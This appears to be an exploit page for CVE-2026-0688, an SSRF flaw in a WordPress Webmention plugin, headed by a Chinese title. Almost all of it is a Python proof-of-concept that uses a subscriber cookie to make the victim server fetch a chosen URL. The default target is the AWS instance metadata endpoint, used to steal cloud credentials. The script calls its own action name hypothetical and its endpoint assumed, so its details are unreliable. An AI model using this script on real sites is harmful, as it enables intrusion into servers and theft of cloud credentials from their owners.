CVE-2026-0688 WordPress Webmention插件SSRF漏洞

#!/usr/bin/env python3 import requests def exploit_ssrf(target_url, attacker_url, wp_cookie): """ Proof of Concept for CVE-2026-0688 Triggers SSRF in WordPress Webmention Plugin via Tools::read. Requires valid Subscriber-level cookies. """ # The vulnerable endpoint is typically part of the plugin's AJAX handling # Assuming the endpoint structure based on plugin behavior endpoint = f"{target_url}/wp-admin/admin-ajax.php" headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Payload targeting an internal service or external callback payload = { "action": "webmention_request", # Hypothetical action name "url": attacker_url # Malicious URL (e.g., http://127.0.0.1:80) } try: # Send the request with authentication cookies response = requests.post(endpoint, data=payload, headers=headers, cookies=wp_cookie) if response.status_code == 200: print(f"[+] Request sent to {target_url}.") print(f"[+] Server likely sent a request to: {attacker_url}") print(f"[+] Response Body: {response.text[:100]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Configuration TARGET = "http://localhost:8000" # Replace with actual target MALICIOUS_URL = "http://169.254.169.254/latest/meta-data/" # Example: AWS Metadata # Cookie string typically looks like "wordpress_logged_in_...=..." # You need to acquire this by logging in as a subscriber COOKIE = {"wordpress_logged_in_xxx": "your_cookie_value_here"} exploit_ssrf(TARGET, MALICIOUS_URL, COOKIE)